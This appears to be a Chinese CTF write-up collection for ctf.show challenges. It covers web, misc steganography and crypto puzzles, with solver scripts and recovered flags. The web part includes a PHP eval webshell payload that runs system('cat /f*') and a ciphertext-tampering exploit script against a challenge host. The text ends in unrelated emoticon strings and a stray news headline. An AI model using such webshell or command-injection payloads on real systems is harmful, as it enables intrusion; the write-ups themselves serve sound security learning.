?action=pull&input=d6e1f0ec8980b49f6061227495a77a44&1=system("cat /f*");
#d6e1f0ec8980b49f6061227495a77a44 为 <?php eval($_GET[1]);?> youyou的md5值;
import base64
import random
url='http://18a60993-f1a3-4ba2-87e2-05d8deae3763.challenge.ctf.show/'
s=requests.session()
username=str(random.randint(1,100000))
print(username)
r=s.get(url+'?username='+username)
responses=[]
for i in range(10):
r=s.get(url+'find_dragonball')
responses.append(json.loads(r.text))
for item in responses:
data=json.dumps({'player_id':item['player_id'],'dragonball':item['dragonball'],'round_no':item['round_no'],'time':item['time']})
miwen=base64.b64decode(item['address'])
round_no=item['round_no']
if round_no in [str(i) for i in range(1,8)]:
fake_address=miwen[:64]+miwen[80:]
fake_address=base64.b64encode(fake_address).decode()
r=s.get(url+'get_dragonball',params={"address":fake_address})
r=s.get(url+'flag')
print(r.text)
无一幸免_FIXED
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET['0'])){
$arr[$_GET['0']]=1;
if ($arr[]=1){
die("nonono!");
else{
die($flag);
revenage版本。$arr[]=1意思是在数组中追加一个数并且赋值为1,比如数组种只有0,1,2,他就会赋值让$arr[3]=1,所以永真了,所以我们得让它失效。考点是索引数组最大下标等于最大int数,对其追加会导致整型数溢出,进而引起追加失败,32位最大是231-1,64位是263-1,也就是2147483647与9223372036854775807,所以输入?0=9223372036854775807即可
图片篇(基础操作)
misc1
图片里就是flag,识别一下文字就行了
misc2
附件是一个txt,内容一看就知道其实是个png,改后缀成png然后就是flag了
misc3
bpg图片,正常不能打开,下载个可以读的软件:https://bellard.org/bpg/
bpgview.exe misc3.bpg
misc4
附件六个文本还有一个没后缀。
一眼png,改后缀为png
a="631A74B96685738668AA6F4B77B07B216114655336A5655433346578612534DD38EF66AB35103195381F628237BA6545347C3254647E373A64E465F136FA66F5341E3107321D665438F1333239E9616C7D"
flag=""
for i in range(0,len(a),4):
hexStr=a[i:i+2]
flag+=chr(int("0x"+hexStr,16))
print(flag)
name = str(i) + ".jpg"
f1 = open(name,"wb")
new = data[:159]+struct.pack('>h',i)+data[161:]
f1.write(new)
f1.close()
998看到flag
image=open(image_name,"wb")
#data=bp[:16] + struct.pack('>i', i)+bp[20:24]+bp[24:]#png
#data=bp[:157]+bp[157:159] + struct.pack('>h', i)+bp[161:] #jpg
data=bp[:38]+ struct.pack('>h', i)[::-1]+bp[40:42] +bp[42:]#gif
image.write(data)
image.close()
s="11000111110100110011011100111101000110111111101111111011011010101100100111000011000101100101100110110011001110010111001011010111001101100010011011111000101100101011001001101100111000110010001110010110110011001111000010111001110010111000101100011110000101100000110100011010101110011111101"
flag=""
for i in range(41): #287//7
flag += chr(int(s[7*i:7*(i+1)],2))
print(flag)
misc40
用APNG Disassembler分离apng,可以看到不但分离出来了图片还分离出来了txt文本
a="99,116,102,115,104,111,119,123,48,55,56,99,98,100,48,102,57,99,56,100,51,102,50,49,53,56,101,55,48,53,50,57,102,56,57,49,51,99,54,53,125"
c=a.split(',')
flag=""
for i in range(0,len(c)):
flag+=chr(int(c[i]))
print(flag)
print(flag)
#ctfshow{078cbd0f9c8d3f2158e70529f8913c65}
import binascii
hex_str = "93A62E63746673686F777B36656232353839666666663565333930666536623837353034646263303839327D"
byte_data = binascii.unhexlify(hex_str)
str_data = byte_data.decode('utf-8', errors='ignore')
print(str_data)
misc44
将文本前10行和最后4行没用的删掉(因为第一个和最后一个不是我们要的IDAT数据块,第一个是一个IHDR,最后一个数据为空,没有意义)。然后写脚本,把CRC OK的替换成1,CRC FAILED替换成0
f=open("1.txt","r")
s=f.read()
f.close()
flag=""
for i in s.split():
if "OK!" == i:
flag += "1"
elif "FAILED" ==i:
flag += "0"
print(flag)
#11111111111111110110001101110100011001100111001101101000011011110111011101111011011000110110001100110001011000010110011000110011001100100110001001100110001110010011011000110011001100000011100001100110011000110011000100110010001101100011001100110010001100110011000101100010011001010011011100111000001100110110011000110110001110010110010101111101
print(len(flag)) #344
for i in range(43):
print(chr(int(flag[8*i:8*(i+1)],2)),end="")
misc45
https://cdkm.com/cn/png-to-bmp把png转bmp,然后binwalk -e就能分离出flag
misc46
identify misc46.gif > message.txt
提取出来的0+0、174+49、196+47这些是偏移量,我们视作坐标,写脚本画图
from PIL import Image
import matplotlib.pyplot as plt
f = open('message.txt')
pp = []
while 1:
c = f.readline()
if c:
s = eval(c.split('+')[1]+','+c.split('+')[2][:2])
pp.append(s)
print(s)
# print(c)
else:
break
img = Image.new('RGB',(400,70),(255,255,255))
for i in pp:
new = Image.new('RGB',(1,1),(0,0,0))
img.paste(new,i)
plt.imshow(img)
plt.show()
misc47
给了一个apng,apng格式每一个IDAT块前面都会有一个fcTL块,其中包含水平垂直偏移量,和上题一样画图即可
import struct
from PIL import Image
import matplotlib.pyplot as plt
f = open('misc47.png','rb')
c = f.read()
c = c[c.index(bytes.fromhex('6663544C00000001')):]
pp = []
for i in range(1,1124,2):
start = c.index(bytes.fromhex('6663544C0000')+struct.pack('>h',i))
# start = c.index(bytes.fromhex('6663544C000000'+hex(i)[2:]))
# print(start)
fc = c[start:start+30]
print(fc[18:20],fc[22:24])
print(struct.unpack('>h',fc[18:20])+struct.unpack('>h',fc[22:24]))
pp.append(struct.unpack('>h',fc[18:20])+struct.unpack('>h',fc[22:24]))
# print(fc.index(b'\xb6'),fc.index(b'\x34'))
# print(c[:100])
img = Image.new('RGB',(400,70),(255,255,255))
for i in pp:
new = Image.new('RGB',(1,1),(0,0,0))
img.paste(new,i)
plt.imshow(img)
plt.show()
misc48
s = im.getpixel((h,w))
if s == (64, 96, 128) or s == (128, 96, 64):
img.putpixel([h, w], (255, 255, 255))
img.show()
im = im.convert('RGB')
img = Image.new("RGB",(900,150))
lt = [(130, 176, 116),(72, 217, 123),(146, 16, 141),(130, 241, 105),(251, 160, 136),(5, 129, 88),(167, 46, 187),(20, 65, 141),(96, 231, 225),(196, 144, 18)]
for h in range(900):
for w in range(150):
s = im.getpixel((h,w))
if s in lt:
img.putpixel([h, w], (255, 255, 255))
img.show()
ctfshow{f87ad503c2c163471fbe768c9d7a9d6c}
misc53
杂项签到
用010editor打开三哈的图片,直接搜索ctfshow就拿到flag了
损坏的压缩包
foremost分离出图片
谜之栅栏
cfhwfaab2cb4af5a5820}
tso{06071f997b5bdd1a
两个拼起来就是flag了
ctfshow{f0a6a0b721cfb949a7fb55ab5d8d210a}
你会数数吗
一眼词频分析
ctfshow{a1b2d3e4g56i7j8k9l0}
你会异或吗
异或后得到图,图上有flag
flag一分为二
用foremost分离后,图片在Linux中打不开,说是CRC的问题,那显然就得改高度了,
运行模板,改高度(之前重庆大学生那个题有过教程,感觉他们题差不多)
然后就看得到一部分flag,但还有一部分:
已知改图片没有附件,所以另一部分flag肯定也在这张图里,在哪儿呢?直接联想到盲水印了,重邮办比赛的题不会偷的这个比赛吧😓
所以flag就是:ctfshow{FirstP@RTSecondP@rTMikumiku~}
You and me
下载附件得到两张图片,一看就是盲水印了,之前也复现也提到过了,难绷,重庆大学生竞赛之前遇到了就好了
黑丝白丝还有什么丝?
黑丝为 1 白丝为 0 转场动画为分割标志,然后题目提示了是莫斯密码嘛:
011 00001 10 1 1 11111 1000 000 11 11 111 010 0 1010 001 1 0
解一下就行了:ctfshow{W4NTT0B3MORECUTE}
我吐了你随意
ctfshow{OP_is_for_Over_Power}
这是个什么文件?
看来是伪加密
改了之后解压出来一个神秘文件
一眼pyc,改后缀,找个在线平台反编译一下:
#!/usr/bin/env python # visit https://tool.lu/pyc/ for more information # Version: Python 3.7 flag = bytes([ 99, 116, 102, 115, 104, 111, 119, 123, 99, 100, 106, 110, 106, 100, 95, 53, 54, 53, 102, 95, 71, 67, 68, 72, 95, 107, 99, 114, 105, 109, 125]).decode() print(flag)
ctfshow{cdjnjd_565f_GCDH_kcrim}
抽象画
base一把梭出来一眼16进制,可能可以组成图片
保存完得到一个奇怪的图片
用npiet可以得到flag(没见过)
先点击npiet-start.bat启动cmd,然后npiet.exe 图片名即可
迅疾响应
我可没有骗你
先爆破密码:55813329,得到的mp3文件改wav后缀,然后用silent eye即可
你被骗了
解压出来得到一个mp3文件,属性里看到flag,但那个是假的,考虑MP3Stego
Decode.exe -X cipher.mp3 -P
一闪一闪亮晶晶
压缩包里图片可以直接解压出来,是汉信码
在线识别得到压缩包密码:CDBHSBHSxskv6
得到的音频是sstv
ctfshow{NNICCETOMMETYOU}
一层一层一层地剥开我的♥
压缩包解压出来的文件如下
通过经验可以判断,这个压缩包其实不是压缩包,而是一个docx文件,改后缀名,打开后得到一些奇怪的字符,字体名为Wingdings 3
改字体得到正常文字
没得到什么有效信息,binwalk得到两个压缩包
0.zip是那个docx文件,而那个2983.rar有压缩包密码,密码是Twinkle twinkle little star,how I wonder what you are的简谱:11556654433221(这谁想的到),得到一个文件一张图
FFD9(jpg文件尾)后面又跟着FFD8FF(jpg文件头)
把FFD8FF之后的十六进制数据复制下来然后新建后可获得一个jpg图片文件,具体参考前面抽象画的wp
打开那个♥按我下面的步骤改成rar文件
多了四组00,修改成rar文件头52617221即可,修改完毕后保存并加上rar后缀
压缩包的密码是图片上的winkwink~
最后这个emoji是base100
ctfshow{Wa0_wa_Congr@tulations~}
这次比赛学了不少emoji相关的加密,比如emoji-aes、emoji2text、base100(emoji编码),其中emoji-aes和emoji2text需要密码
打不开的图片
求反即可
CRYPTO
密码签到
base一把梭:ctfshow{welcome_2_caigou_cup}
Caesar
显然是凯撒,随便试试就出来了
ctfshow{Welcome to CTFshow vegetable dog cup!}
0x36d
长见识了,原来emoji密码还有这种txtmoji,我之前只知道emoji编码和aes-emoji
这里的密码就是0x36d的十进制,也就是877
类型-7
没听过,现在想来题目就是提示了——type 7加密:
@bash
埃特巴什码,又是谐音梗,绷不住了
ctfshow{LOVEMUMUZI}
This is Sparta
密文是:
WFlni~seseds~lh ~@codyc~_owoot~Bm guf~oev rsTy ec ha!tgufon!oeplwj? t!a{i!Ca gy@Tba oi}
斯巴达手杖加密,被我百度到了,但我用这个网站没做出来,看了其他人的wp,发现要用这个栅栏密码的网站,但是还是没做出来,看了答案后知道,答案为:
Welcome to CTFshow vegetable dog cup! and your flag is ctfshow{yo~~~~~~Tanji_is_@_Boy!!?!@}
用位移为7确实能整出明文来,但没法从明文还原到明文,难绷:
|´・ω・)ノヾ(≧∇≦*)ゝ(☆ω☆)(╯‵□′)╯︵┴─┴ ̄﹃ ̄(/ω\)∠( ᐛ 」∠)_(๑•̀ㅁ•́ฅ)→_→୧(๑•̀⌄•́๑)૭٩(ˊᗜˋ*)و(ノ°ο°)ノ(´இ皿இ`)⌇●﹏●⌇(ฅ´ω`ฅ)(╯°A°)╯︵○○○φ( ̄∇ ̄o)ヾ(´・ ・`。)ノ"( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃(ó﹏ò。)Σ(っ °Д °;)っ( ,,´・ω・)ノ"(´っω・`。)╮(╯▽╰)╭o(*////▽////*)q>﹏<( ๑´•ω•) "(ㆆᴗㆆ)😂😀😅😊🙂🙃😌😍😘😜😝😏😒🙄😳😡😔😫😱😭💩👻🙌🖕👍👫👬👭🌚🌝🙈💊😶🙏🍦🍉😣
Source: github.com/k4yt3x/flowerhd
颜文字Emoji小恐龙花!
有情有义的日光灯 · 牧原减速、温氏借款、新希望亏损 猪企何时翻身 3 周前 |